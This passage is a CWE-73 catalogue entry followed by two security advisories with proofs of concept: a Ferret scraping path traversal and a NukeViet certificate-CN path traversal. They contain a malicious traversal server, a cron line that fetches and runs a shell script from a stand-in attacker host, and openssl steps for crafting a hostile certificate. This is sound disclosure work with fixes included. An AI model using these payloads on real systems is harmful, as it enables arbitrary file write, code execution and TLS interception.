CWE-73
Weakness AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
Mapping guidance
This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
Relationships and members
Modes of introduction
Path manipulation errors occur when the following two conditions are met:
An attacker can specify a path used in an operation on the filesystem.
By specifying the resource, the attacker gains a capability that would not otherwise be permitted.
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Detection methods
Automated Static Analysis
The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product.
Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.
Notes
Maintenance
CWE-114 is a Class, but it is listed a child of CWE-73 in view 1000. This suggests some abstraction problems that should be resolved in future versions.
Relationship
The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc.
However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all.
The external control can be resultant from other issues. For example, in PHP applications, the register_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.
Content history
updated Time_of_Introduction
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
updated Applicable_Platforms, Causal_Nature, Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Weakness_Ordinalities
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples
updated Common_Consequences, Description
updated Detection_Factors
updated Potential_Mitigations
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Relationships, Taxonomy_Mappings
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings
updated Potential_Mitigations, References, Relationships, Time_of_Introduction, Type
updated Potential_Mitigations, Relationships
updated Maintenance_Notes, Potential_Mitigations
updated Relationships
updated Description, Detection_Factors, Potential_Mitigations
updated Potential_Mitigations, Relationships
updated Mapping_Notes
updated Observed_Examples
updated References
updated Relationships
updated Common_Consequences, Description, Modes_of_Introduction, References
1514 vulnerabilities reference this CWE, most recent first.
GHSA-J6V5-G24H-VG4J
Vulnerability from github – Published: 2026-04-01 23:37 – Updated: 2026-04-06 23:25Summary
A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.
Exploitation
The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.
Attack Flow
- The attacker serves a JSON API with crafted filenames containing
../traversal:
[
{"name": "legit-article", "content": "Normal content."},
{"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]
- The victim runs a standard scraping script:
LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))
FOR article IN articles
LET path = "/tmp/ferret_output/" + article.name + ".txt"
IO::FS::WRITE(path, TO_BINARY(article.content))
RETURN { written: path, name: article.name }
-
FQL string concatenation produces:
/tmp/ferret_output/../../etc/cron.d/evil.txt -
os.OpenFileresolves../..and writes to/etc/cron.d/evil.txt-- outside the intended output directory -
The attacker achieves arbitrary file write with controlled content, leading to code execution.
Realistic Targets
| Target Path | Impact |
|---|---|
/etc/cron.d/<name> |
Command execution via cron |
~/.ssh/authorized_keys |
SSH access to the machine |
~/.bashrc or ~/.profile |
Command execution on next login |
/var/www/html/<name>.php |
Web shell |
| Application config files | Credential theft, privilege escalation |
Proof of Concept
Files
Three files are provided in the poc/ directory:
evil_server.py -- Malicious web server returning traversal payloads:
"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler
class EvilHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/api/articles":
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
payload = [
{"name": "legit-article",
"content": "This is a normal article."},
{"name": "../../tmp/pwned",
"content": "ATTACKER_CONTROLLED_CONTENT\n"
"# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
]
self.wfile.write(json.dumps(payload).encode())
else:
self.send_response(404)
self.end_headers()
if __name__ == "__main__":
server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
print("Listening on :9444")
server.serve_forever()
scrape.fql -- Innocent-looking Ferret scraping script:
LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))
FOR article IN articles
LET path = "/tmp/ferret_output/" + article.name + ".txt"
LET data = TO_BINARY(article.content)
IO::FS::WRITE(path, data)
RETURN { written: path, name: article.name }
run_poc.sh -- Orchestration script (expects the server to be running separately):
#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"
echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)
rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output
echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true
if [ -f "/tmp/pwned.txt" ]; then
echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
cat /tmp/pwned.txt
fi
Reproduction Steps
# Terminal 1: start malicious server
python3 poc/evil_server.py
# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh
# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt
Observed Output
=== Ferret Path Traversal PoC ===
[*] Running innocent-looking scrape script...
[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
{"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]
=== Results ===
[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r-- 1 user user 46 Mar 27 18:23 legit-article.txt
[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!
Contents:
ATTACKER_CONTROLLED_CONTENT
# * * * * * root curl http://attacker.com/shell.sh | sh
Suggested Fix
Option 1: Reject path traversal in IO::FS::WRITE and IO::FS::READ
Resolve the path and verify it doesn't contain .. after cleaning:
func safePath(userPath string) (string, error) {
cleaned := filepath.Clean(userPath)
if strings.Contains(cleaned, "..") {
return "", fmt.Errorf("path traversal detected: %q", userPath)
}
return cleaned, nil
}
Option 2: Base directory enforcement (stronger)
Add an optional base directory that FS operations are jailed to:
func safePathWithBase(base, userPath string) (string, error) {
absBase, _ := filepath.Abs(base)
full := filepath.Join(absBase, filepath.Clean(userPath))
resolved, err := filepath.EvalSymlinks(full)
if err != nil {
return "", err
}
if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
}
return resolved, nil
}
Root Cause
IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:
file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)
There is no:
- Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
- Base directory enforcement (checking the resolved path stays within an intended directory)
- Traversal sequence rejection (blocking .. components)
- Symlink resolution
The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):
data, err := os.ReadFile(path.String())
The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/MontFerret/ferret/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0-alpha.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/MontFerret/ferret"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.18.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34783"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:37:29Z",
"nvd_published_at": "2026-04-06T17:17:10Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA path traversal vulnerability in Ferret\u0027s `IO::FS::WRITE` standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing `../` sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.\n\n## Exploitation\n\nThe attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.\n\n### Attack Flow\n\n1. The attacker serves a JSON API with crafted filenames containing `../` traversal:\n\n```json\n[\n {\"name\": \"legit-article\", \"content\": \"Normal content.\"},\n {\"name\": \"../../etc/cron.d/evil\", \"content\": \"* * * * * root curl http://attacker.com/shell.sh | sh\\n\"}\n]\n```\n\n2. The victim runs a standard scraping script:\n\n```fql\nLET response = IO::NET::HTTP::GET({url: \"http://evil.com/api/articles\"})\nLET articles = JSON_PARSE(TO_STRING(response))\n\nFOR article IN articles\n LET path = \"/tmp/ferret_output/\" + article.name + \".txt\"\n IO::FS::WRITE(path, TO_BINARY(article.content))\n RETURN { written: path, name: article.name }\n```\n\n3. FQL string concatenation produces: `/tmp/ferret_output/../../etc/cron.d/evil.txt`\n\n4. `os.OpenFile` resolves `../..` and writes to `/etc/cron.d/evil.txt` -- outside the intended output directory\n\n5. The attacker achieves arbitrary file write with controlled content, leading to code execution.\n\n### Realistic Targets\n\n| Target Path | Impact |\n|-------------|--------|\n| `/etc/cron.d/\u003cname\u003e` | Command execution via cron |\n| `~/.ssh/authorized_keys` | SSH access to the machine |\n| `~/.bashrc` or `~/.profile` | Command execution on next login |\n| `/var/www/html/\u003cname\u003e.php` | Web shell |\n| Application config files | Credential theft, privilege escalation |\n\n## Proof of Concept\n\n### Files\n\nThree files are provided in the `poc/` directory:\n\n**`evil_server.py`** -- Malicious web server returning traversal payloads:\n\n```python\n\"\"\"Malicious server that returns filenames with path traversal.\"\"\"\nimport json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass EvilHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n if self.path == \"/api/articles\":\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n payload = [\n {\"name\": \"legit-article\",\n \"content\": \"This is a normal article.\"},\n {\"name\": \"../../tmp/pwned\",\n \"content\": \"ATTACKER_CONTROLLED_CONTENT\\n\"\n \"# * * * * * root curl http://attacker.com/shell.sh | sh\\n\"},\n ]\n self.wfile.write(json.dumps(payload).encode())\n else:\n self.send_response(404)\n self.end_headers()\n\nif __name__ == \"__main__\":\n server = HTTPServer((\"0.0.0.0\", 9444), EvilHandler)\n print(\"Listening on :9444\")\n server.serve_forever()\n```\n\n**`scrape.fql`** -- Innocent-looking Ferret scraping script:\n\n```fql\nLET response = IO::NET::HTTP::GET({url: \"http://127.0.0.1:9444/api/articles\"})\nLET articles = JSON_PARSE(TO_STRING(response))\n\nFOR article IN articles\n LET path = \"/tmp/ferret_output/\" + article.name + \".txt\"\n LET data = TO_BINARY(article.content)\n IO::FS::WRITE(path, data)\n RETURN { written: path, name: article.name }\n```\n\n**`run_poc.sh`** -- Orchestration script (expects the server to be running separately):\n\n```bash\n#!/bin/bash\nset -e\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\nREPO_ROOT=\"$(cd \"$SCRIPT_DIR/..\" \u0026\u0026 pwd)\"\nFERRET=\"$REPO_ROOT/bin/ferret\"\n\necho \"=== Ferret Path Traversal PoC ===\"\n[ ! -f \"$FERRET\" ] \u0026\u0026 (cd \"$REPO_ROOT\" \u0026\u0026 go build -o ./bin/ferret ./test/e2e/cli.go)\n\nrm -rf /tmp/ferret_output \u0026\u0026 rm -f /tmp/pwned.txt \u0026\u0026 mkdir -p /tmp/ferret_output\n\necho \"[*] Running scrape script...\"\n\"$FERRET\" \"$SCRIPT_DIR/scrape.fql\" 2\u003e/dev/null || true\n\nif [ -f \"/tmp/pwned.txt\" ]; then\n echo \"[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory\"\n cat /tmp/pwned.txt\nfi\n```\n\n### Reproduction Steps\n\n```bash\n# Terminal 1: start malicious server\npython3 poc/evil_server.py\n\n# Terminal 2: build and run\ngo build -o ./bin/ferret ./test/e2e/cli.go\nbash poc/run_poc.sh\n\n# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/\ncat /tmp/pwned.txt\n```\n\n### Observed Output\n\n```\n=== Ferret Path Traversal PoC ===\n\n[*] Running innocent-looking scrape script...\n\n[{\"written\":\"/tmp/ferret_output/legit-article.txt\",\"name\":\"legit-article\"},\n {\"written\":\"/tmp/ferret_output/../../tmp/pwned.txt\",\"name\":\"../../tmp/pwned\"}]\n\n=== Results ===\n\n[*] Files in intended output directory (/tmp/ferret_output/):\n-rw-r--r-- 1 user user 46 Mar 27 18:23 legit-article.txt\n\n[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!\n\n Contents:\n ATTACKER_CONTROLLED_CONTENT\n # * * * * * root curl http://attacker.com/shell.sh | sh\n```\n\n## Suggested Fix\n\n### Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`\n\nResolve the path and verify it doesn\u0027t contain `..` after cleaning:\n\n```go\nfunc safePath(userPath string) (string, error) {\n cleaned := filepath.Clean(userPath)\n if strings.Contains(cleaned, \"..\") {\n return \"\", fmt.Errorf(\"path traversal detected: %q\", userPath)\n }\n return cleaned, nil\n}\n```\n\n### Option 2: Base directory enforcement (stronger)\n\nAdd an optional base directory that FS operations are jailed to:\n\n```go\nfunc safePathWithBase(base, userPath string) (string, error) {\n absBase, _ := filepath.Abs(base)\n full := filepath.Join(absBase, filepath.Clean(userPath))\n resolved, err := filepath.EvalSymlinks(full)\n if err != nil {\n return \"\", err\n }\n if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {\n return \"\", fmt.Errorf(\"path %q escapes base directory %q\", userPath, base)\n }\n return resolved, nil\n}\n```\n## Root Cause\n\n`IO::FS::WRITE` in `pkg/stdlib/io/fs/write.go` passes user-supplied file paths directly to `os.OpenFile` with no sanitization:\n\n```go\nfile, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)\n```\n\nThere is no:\n- Path canonicalization (`filepath.Clean`, `filepath.Abs`, `filepath.EvalSymlinks`)\n- Base directory enforcement (checking the resolved path stays within an intended directory)\n- Traversal sequence rejection (blocking `..` components)\n- Symlink resolution\n\nThe same issue exists in `IO::FS::READ` (`pkg/stdlib/io/fs/read.go`):\n\n```go\ndata, err := os.ReadFile(path.String())\n```\n\nThe `PATH::CLEAN` and `PATH::JOIN` standard library functions do **not** mitigate this because they use Go\u0027s `path` package (URL-style paths), not `path/filepath`, and even `path.Join(\"/output\", \"../../etc/cron.d/evil\")` resolves to `/etc/cron.d/evil` -- it normalizes the traversal rather than blocking it.",
"id": "GHSA-j6v5-g24h-vg4j",
"modified": "2026-04-06T23:25:19Z",
"published": "2026-04-01T23:37:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MontFerret/ferret/security/advisories/GHSA-j6v5-g24h-vg4j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34783"
},
{
"type": "WEB",
"url": "https://github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917"
},
{
"type": "PACKAGE",
"url": "https://github.com/MontFerret/ferret"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites"
}
GHSA-J79F-JRWM-2F2H
Vulnerability from github – Published: 2026-11-30 20:29 – Updated: 2026-11-30 20:29Summary
When an authenticated non-super administrator (settings-module admin) adds an S/MIME signing certificate via the smimeadd handler (admin/settings/smtp.php:220-296), the on-disk output filename is derived entirely from the certificate's X.509 Subject CN with only str_replace('@','__') applied. Because an X.509 CN may legally contain / and .., an attacker who crafts a self-signed cert with a traversal CN writes attacker-controlled PEM data to an attacker-chosen path (constrained to .key/.crt/.pem extensions, within already-existing writable directories).
This is a distinct, unpatched sink — the write-side analogue of a previously fixed delete-side path-traversal class — in a file the prior fix never touched.
Root Cause
admin/settings/smtp.php smimeadd handler:
- openssl_pkcs12_read + openssl_x509_parse extract the Subject CN (:268).
- The ONLY transform is $email_name = str_replace('@','__', trim(CN)) (:269). No basename, realpath, nv_is_file, dirname, strpos, or allowlist regex between the CN and the sinks (grep of :244-296 confirms).
- file_put_contents(NV_ROOTDIR.'/data/certs/'.$email_name.'.{key,crt,pem}', <attacker PEM>) at :283/:284/:287.
- / and .. in the CN survive openssl_x509_parse verbatim (empirically verified with OpenSSL 3 + PHP): CN=../../config/config → resolved write path /data/certs/../../config/config.crt, escaping data/certs.
- Reachability: smtp.php:12 gate is NV_IS_MODADMIN; op=smtp is unconditional in $allow_func (admin/settings/functions.php:16). The settings module is seeded (install/data.php:18) with act_1=1, act_2=1, act_3=0, so it is reachable by default to a level-2 SPADMIN (non-GODADMIN).
- The smimesign purpose guard (:256) is satisfied by extendedKeyUsage=emailProtection; checkss is a per-user CSRF token — neither constrains the CN.
Impact
Arbitrary-directory file write (existing writable dirs, .key/.crt/.pem extension, attacker-controlled PEM content) by a non-super administrator.
- Unconditional (always-on): overwrite the DKIM signing key data/certs/nv_dkim.<domain>.private.pem (set CN=nv_dkim.<domain>.private + an extracerts chain; the .crt overwrite pre-check does not gate the .pem sink) → mail-signing key compromise/forgery (integrity + availability of mail signing).
- Conditional ceiling (curl.cainfo php.ini directive empty — the common default): data/certs/cacert.pem (the shipped 203 KB Mozilla CA bundle) is used as CURLOPT_CAINFO/cafile for outbound HTTPS (includes/functions.php:2200-2202). Set CN=cacert with a rogue chain → overwrite the CA bundle → outbound-TLS verification bypass / MITM.
Privileged-precondition test cleared: a level-2 SPADMIN does NOT already possess a designed arbitrary-file-write/RCE primitive — every designed executable-write surface is either in an act_2=0 module or behind an additional NV_IS_GODADMIN op-gate (PHP extensions are hard-force-forbidden even for GODADMIN). This handler therefore grants a NEW capability → a genuine security boundary is crossed.
Proof of Concept
# 1. Craft cert with traversal CN + S/MIME EKU, export legacy-compatible PKCS#12
openssl req -x509 -newkey rsa:2048 -keyout k.pem -out c.pem -days 1 -nodes \
-config cnf # cnf: CN=../../config/config, extendedKeyUsage=emailProtection
openssl pkcs12 -export -in c.pem -inkey k.pem -passout pass:x -out p.p12 \
-certpbe PBE-SHA1-3DES -keypbe PBE-SHA1-3DES -macalg sha1
# 2. POST p.p12 to admin/index.php?nv=settings&op=smtp with smimeadd=1, passphrase, valid checkss
# Observed: CN=cacert -> data/certs/cacert.crt; CN=../../config/config -> config/config.crt;
# CN=../../install/pwn -> install/pwn.crt (all SUCCESS; escaped data/certs)
Attack Chain
- Entry: authenticated non-GODADMIN admin with the
settingsmodule POSTs a crafted.p12toadmin/index.php?nv=settings&op=smtpwithsmimeadd=1, passphrase, validcheckss. Guard:NV_IS_MODADMIN(smtp.php:12) +op=smtpin$allow_func+checkssCSRF token + upload ext in{pfx,p12}. Bypass proof: all are auth/CSRF/wrapper guards; none constrain the CN; actor legitimately holds the settings module. - Process:
openssl_pkcs12_read→openssl_x509_parse→ CN read at :268; purpose guard$purpose[0]=='1' and $purpose[2]=='smimesign'at :256. Bypass proof:extendedKeyUsage=emailProtection→purposesreportssmimesignenabled (verified empirically). - Sink:
$email_name = str_replace('@','__', trim(CN));file_put_contents(NV_ROOTDIR.'/data/certs/'.$email_name.'.{key,crt,pem}', <attacker PEM>)(:269-287). Guard: none between CN and sink (only@→__). Bypass proof: grep showsstr_replaceis the sole transform;..,/,.pass through (empiricallyCN=../../config/config→/data/certs/../../config/config.crt). - Impact: arbitrary-directory file write (existing dirs,
.crt/.key/.pem, attacker PEM content). Unconditional: corrupt DKIM signing key / cert assets (I:H, A:L). Conditional (curl.cainfoempty): overwritecacert.pem→ outbound-TLS MITM (adds C:L).
Bypass Evidence
- grep of smtp.php :244-296 for
basename|realpath|preg_match|nv_is_file|nv_check|in_array|dirname|strpos|escape→ only match isstr_replace('@','__')at :269. - Empirically verified (OpenSSL 3 + PHP):
CN=../../config/configsurvivesopenssl_x509_parseverbatim; resolved write lands atconfig/config.crt(outsidedata/certs);purposes_enabledincludessmimesign. - Version:
git log 4.6.00..HEAD -- admin/settings/smtp.phpempty (identical on latest tag and HEAD); pattern present since 4.5.00. The prior path-traversal fix (commit27ba63c32) touches onlymodules/comment/admin/edit.php+install/tpl/step1.tpl— NOT smtp.php.
Affected Versions
>= 4.5.00, <= 4.6.00 (S/MIME cert feature introduced in commit d1f74a5be, first shipped in 4.5.00; code byte-identical through latest tag 4.6.00 and HEAD).
Suggested Fix
Apply basename() to the CN-derived name, or validate it with nv_is_file / a strict ^[A-Za-z0-9._@-]+$ allowlist before building the .key/.crt/.pem paths — the same nv_is_file containment the prior fix added to the comment module.
Reported by zx (Jace) — GitHub: @manus-use
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.00"
},
"package": {
"ecosystem": "Packagist",
"name": "nukeviet/nukeviet"
},
"ranges": [
{
"events": [
{
"introduced": "4.5.00"
},
{
"fixed": "4.6.01"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-94563"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-30T20:29:56Z",
"nvd_published_at": "2026-11-20T19:18:56Z",
"severity": "MODERATE"
},
"details": "## Summary\nWhen an authenticated non-super administrator (settings-module admin) adds an S/MIME signing certificate via the `smimeadd` handler (`admin/settings/smtp.php:220-296`), the on-disk output filename is derived **entirely from the certificate\u0027s X.509 Subject CN** with only `str_replace(\u0027@\u0027,\u0027__\u0027)` applied. Because an X.509 CN may legally contain `/` and `..`, an attacker who crafts a self-signed cert with a traversal CN writes attacker-controlled PEM data to an attacker-chosen path (constrained to `.key`/`.crt`/`.pem` extensions, within already-existing writable directories).\n\nThis is a distinct, unpatched sink \u2014 the write-side analogue of a previously fixed delete-side path-traversal class \u2014 in a file the prior fix never touched.\n\n## Root Cause\n`admin/settings/smtp.php` `smimeadd` handler:\n- `openssl_pkcs12_read` + `openssl_x509_parse` extract the Subject CN (:268).\n- The ONLY transform is `$email_name = str_replace(\u0027@\u0027,\u0027__\u0027, trim(CN))` (:269). No `basename`, `realpath`, `nv_is_file`, `dirname`, `strpos`, or allowlist regex between the CN and the sinks (grep of :244-296 confirms).\n- `file_put_contents(NV_ROOTDIR.\u0027/data/certs/\u0027.$email_name.\u0027.{key,crt,pem}\u0027, \u003cattacker PEM\u003e)` at :283/:284/:287.\n- `/` and `..` in the CN survive `openssl_x509_parse` verbatim (empirically verified with OpenSSL 3 + PHP): `CN=../../config/config` \u2192 resolved write path `/data/certs/../../config/config.crt`, escaping `data/certs`.\n- Reachability: `smtp.php:12` gate is `NV_IS_MODADMIN`; `op=smtp` is unconditional in `$allow_func` (`admin/settings/functions.php:16`). The `settings` module is seeded (`install/data.php:18`) with `act_1=1, act_2=1, act_3=0`, so it is reachable by default to a level-2 SPADMIN (non-GODADMIN).\n- The `smimesign` purpose guard (:256) is satisfied by `extendedKeyUsage=emailProtection`; `checkss` is a per-user CSRF token \u2014 neither constrains the CN.\n\n## Impact\nArbitrary-directory file write (existing writable dirs, `.key`/`.crt`/`.pem` extension, attacker-controlled PEM content) by a non-super administrator.\n- **Unconditional (always-on):** overwrite the DKIM signing key `data/certs/nv_dkim.\u003cdomain\u003e.private.pem` (set `CN=nv_dkim.\u003cdomain\u003e.private` + an `extracerts` chain; the `.crt` overwrite pre-check does not gate the `.pem` sink) \u2192 mail-signing key compromise/forgery (integrity + availability of mail signing).\n- **Conditional ceiling (`curl.cainfo` php.ini directive empty \u2014 the common default):** `data/certs/cacert.pem` (the shipped 203 KB Mozilla CA bundle) is used as `CURLOPT_CAINFO`/`cafile` for outbound HTTPS (`includes/functions.php:2200-2202`). Set `CN=cacert` with a rogue chain \u2192 overwrite the CA bundle \u2192 outbound-TLS verification bypass / MITM.\n\n**Privileged-precondition test cleared:** a level-2 SPADMIN does NOT already possess a designed arbitrary-file-write/RCE primitive \u2014 every designed executable-write surface is either in an `act_2=0` module or behind an additional `NV_IS_GODADMIN` op-gate (PHP extensions are hard-force-forbidden even for GODADMIN). This handler therefore grants a NEW capability \u2192 a genuine security boundary is crossed.\n\n## Proof of Concept\n```\n# 1. Craft cert with traversal CN + S/MIME EKU, export legacy-compatible PKCS#12\nopenssl req -x509 -newkey rsa:2048 -keyout k.pem -out c.pem -days 1 -nodes \\\n -config cnf # cnf: CN=../../config/config, extendedKeyUsage=emailProtection\nopenssl pkcs12 -export -in c.pem -inkey k.pem -passout pass:x -out p.p12 \\\n -certpbe PBE-SHA1-3DES -keypbe PBE-SHA1-3DES -macalg sha1\n\n# 2. POST p.p12 to admin/index.php?nv=settings\u0026op=smtp with smimeadd=1, passphrase, valid checkss\n# Observed: CN=cacert -\u003e data/certs/cacert.crt; CN=../../config/config -\u003e config/config.crt;\n# CN=../../install/pwn -\u003e install/pwn.crt (all SUCCESS; escaped data/certs)\n```\n\n## Attack Chain\n1. **Entry:** authenticated non-GODADMIN admin with the `settings` module POSTs a crafted `.p12` to `admin/index.php?nv=settings\u0026op=smtp` with `smimeadd=1`, passphrase, valid `checkss`. **Guard:** `NV_IS_MODADMIN` (smtp.php:12) + `op=smtp` in `$allow_func` + `checkss` CSRF token + upload ext in `{pfx,p12}`. **Bypass proof:** all are auth/CSRF/wrapper guards; none constrain the CN; actor legitimately holds the settings module.\n2. **Process:** `openssl_pkcs12_read` \u2192 `openssl_x509_parse` \u2192 CN read at :268; purpose guard `$purpose[0]==\u00271\u0027 and $purpose[2]==\u0027smimesign\u0027` at :256. **Bypass proof:** `extendedKeyUsage=emailProtection` \u2192 `purposes` reports `smimesign` enabled (verified empirically).\n3. **Sink:** `$email_name = str_replace(\u0027@\u0027,\u0027__\u0027, trim(CN))`; `file_put_contents(NV_ROOTDIR.\u0027/data/certs/\u0027.$email_name.\u0027.{key,crt,pem}\u0027, \u003cattacker PEM\u003e)` (:269-287). **Guard:** none between CN and sink (only `@`\u2192`__`). **Bypass proof:** grep shows `str_replace` is the sole transform; `..`,`/`,`.` pass through (empirically `CN=../../config/config` \u2192 `/data/certs/../../config/config.crt`).\n4. **Impact:** arbitrary-directory file write (existing dirs, `.crt/.key/.pem`, attacker PEM content). Unconditional: corrupt DKIM signing key / cert assets (I:H, A:L). Conditional (`curl.cainfo` empty): overwrite `cacert.pem` \u2192 outbound-TLS MITM (adds C:L).\n\n## Bypass Evidence\n- grep of smtp.php :244-296 for `basename|realpath|preg_match|nv_is_file|nv_check|in_array|dirname|strpos|escape` \u2192 only match is `str_replace(\u0027@\u0027,\u0027__\u0027)` at :269.\n- Empirically verified (OpenSSL 3 + PHP): `CN=../../config/config` survives `openssl_x509_parse` verbatim; resolved write lands at `config/config.crt` (outside `data/certs`); `purposes_enabled` includes `smimesign`.\n- Version: `git log 4.6.00..HEAD -- admin/settings/smtp.php` empty (identical on latest tag and HEAD); pattern present since 4.5.00. The prior path-traversal fix (commit `27ba63c32`) touches only `modules/comment/admin/edit.php` + `install/tpl/step1.tpl` \u2014 NOT smtp.php.\n\n## Affected Versions\n`\u003e= 4.5.00, \u003c= 4.6.00` (S/MIME cert feature introduced in commit `d1f74a5be`, first shipped in 4.5.00; code byte-identical through latest tag 4.6.00 and HEAD).\n\n## Suggested Fix\nApply `basename()` to the CN-derived name, or validate it with `nv_is_file` / a strict `^[A-Za-z0-9._@-]+$` allowlist before building the `.key/.crt/.pem` paths \u2014 the same `nv_is_file` containment the prior fix added to the comment module.\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @manus-use",
"id": "GHSA-j79f-jrwm-2f2h",
"modified": "2026-11-30T20:29:56Z",
"published": "2026-11-30T20:29:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nukeviet/nukeviet/security/advisories/GHSA-j79f-jrwm-2f2h"
},
{
"type": "ADVISORY",
